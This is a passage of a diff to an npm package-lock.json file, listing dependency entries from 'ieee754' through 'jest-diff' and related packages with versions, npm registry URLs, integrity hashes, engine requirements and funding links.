"sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/ignore": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz", + "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/immutable": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/immutable/-/immutable-4.0.0.tgz", + "integrity": "sha512-zIE9hX70qew5qTUjSS7wi1iwj/l7+m54KWU247nhM3v806UdGj1yDndXj+IOYxxtW9zyLI+xqFNZjTuDaLUqFw==", + "dev": true + }, + "node_modules/import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/import-lazy": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-4.0.0.tgz", + "integrity": "sha512-rKtvo6a868b5Hu3heneU+L4yEQ4jYKLtjpnPeUdK7h0yzXGmyBTypknlkCvHFBqfX9YlorEiMM6Dnq/5atfHkw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/import-local": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.1.0.tgz", + "integrity": "sha512-ASB07uLtnDs1o6EHjKpX34BKYDSqnFerfTOJL2HvMqF70LnxpjkzDB8J44oT9pu4AMPkQwf8jl6szgvNd2tRIg==", + "dev": true, + "dependencies": { + "pkg-dir": "^4.2.0", + "resolve-cwd": "^3.0.0" + }, + "bin": { + "import-local-fixture": "fixtures/cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", + "dev": true, + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", + "dev": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "dev": true + }, + "node_modules/inquirer": { + "version": "7.3.3", + "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-7.3.3.tgz", + "integrity": "sha512-JG3eIAj5V9CwcGvuOmoo6LB9kbAYT8HXffUl6memuszlwDC/qvFAJw49XJ5NROSFNPxp3iQg1GqkFhaY/CR0IA==", + "dev": true, + "dependencies": { + "ansi-escapes": "^4.2.1", + "chalk": "^4.1.0", + "cli-cursor": "^3.1.0", + "cli-width": "^3.0.0", + "external-editor": "^3.0.3", + "figures": "^3.0.0", + "lodash": "^4.17.19", + "mute-stream": "0.0.8", + "run-async": "^2.4.0", + "rxjs": "^6.6.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0", + "through": "^2.3.6" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/inquirer/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/inquirer/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/inquirer/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/inquirer/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/inquirer/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/inquirer/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/inquirer/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/internal-slot": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz", + "integrity": "sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.1.0", + "has": "^1.0.3", + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/interpret": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-2.2.0.tgz", + "integrity": "sha512-Ju0Bz/cEia55xDwUWEa8+olFpCiQoypjnQySseKtmjNrnps3P+xfpUmGr90T7yjlVJmOtybRvPXhKMbHr+fWnw==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "dependencies": { + "loose-envify": "^1.0.0" + } + }, + "node_modules/ip": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.5.tgz", + "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=", + "dev": true + }, + "node_modules/ipaddr.js": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.0.1.tgz", + "integrity": "sha512-1qTgH9NG+IIJ4yfKs2e6Pp1bZg8wbDbKHT21HrLIeYBTRLgMYKnMTPAuI3Lcs61nfx5h1xlXnbJtH1kX5/d/ng==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/is-alphabetical": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-1.0.4.tgz", + "integrity": "sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-alphanumerical": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz", + "integrity": "sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A==", + "dev": true, + "dependencies": { + "is-alphabetical": "^1.0.0", + "is-decimal": "^1.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-arguments": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz", + "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=" + }, + "node_modules/is-bigint": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz", + "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==", + "dev": true, + "dependencies": { + "has-bigints": "^1.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-boolean-object": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz", + "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-buffer": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", + "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "engines": { + "node": ">=4" + } + }, + "node_modules/is-callable": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.4.tgz", + "integrity": "sha512-nsuwtxZfMX67Oryl9LCQ+upnC0Z0BgpwntpS89m1H/TLF0zNfzfLMV/9Wa/6MZsj0acpEjAO0KF1xT6ZdLl95w==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-core-module": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.8.1.tgz", + "integrity": "sha512-SdNCUs284hr40hFTFP6l0IfZ/RSrMXF3qgoRHd3/79unUTvrFO/JoXwkGm+5J/Oe3E/b5GsnG330uUNgRpu1PA==", + "dependencies": { + "has": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-date-object": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz", + "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-decimal": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-1.0.4.tgz", + "integrity": "sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "dev": true, + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-hexadecimal": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz", + "integrity": "sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-in-browser": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/is-in-browser/-/is-in-browser-1.1.3.tgz", + "integrity": "sha1-Vv9NtoOgeMYILrldrX3GLh0E+DU=" + }, + "node_modules/is-negative-zero": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.2.tgz", + "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-number-object": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.7.tgz", + "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-path-cwd": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz", + "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/is-path-inside": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-plain-obj": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", + "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", + "dev": true, + "dependencies": { + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-regex": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz", + "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-regexp": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-2.1.0.tgz", + "integrity": "sha512-OZ4IlER3zmRIoB9AqNhEggVxqIH4ofDns5nRrPS6yQxXE1TPCUpFznBfRQmQa8uC+pXqjMnukiJBxCisIxiLGA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/is-shared-array-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz", + "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-stream": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", + "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-string": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz", + "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-symbol": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz", + "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", + "dev": true, + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", + "dev": true + }, + "node_modules/is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-weakref": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz", + "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-wsl": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "dev": true, + "dependencies": { + "is-docker": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", + "dev": true + }, + "node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/isomorphic-fetch": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/isomorphic-fetch/-/isomorphic-fetch-2.2.1.tgz", + "integrity": "sha1-YRrhrPFPXoH3KVB0coGf6XM1WKk=", + "dependencies": { + "node-fetch": "^1.0.1", + "whatwg-fetch": ">=0.10.0" + } + }, + "node_modules/jest-diff": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-26.6.2.tgz", + "integrity": "sha512-6m+9Z3Gv9wN0WFVasqjCL/06+EFCMTqDEUl/b87HYK2rAPTyfz4ZIuSlPhY51PIQRWx5TaxeF1qmXKe9gfN3sA==", + "dev": true, + "dependencies": { + "chalk": "^4.0.0", + "diff-sequences": "^26.6.2", + "jest-get-type": "^26.3.0", + "pretty-format": "^26.6.2" + }, + "engines": { + "node": ">= 10.14.2" + } + }, + "node_modules/jest-diff/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-diff/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-diff/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-diff/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/jest-diff/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-diff/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-get-type": { + "version": "26.3.0", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-26.3.0.tgz", + "integrity": "sha512-TpfaviN1R2pQWkIihlfEanwOXK0zcxrKEE4MlU6Tn7keoXdN6/3gK/xl0yEh8DOunn5pOVGKf8hB4R9gVh04ig==", + "dev": true, + "engines": { + "node": ">= 10.14.2" + } + }, + "node_modules/jest-worker": { + "version": "27.5.1", + "resolved": 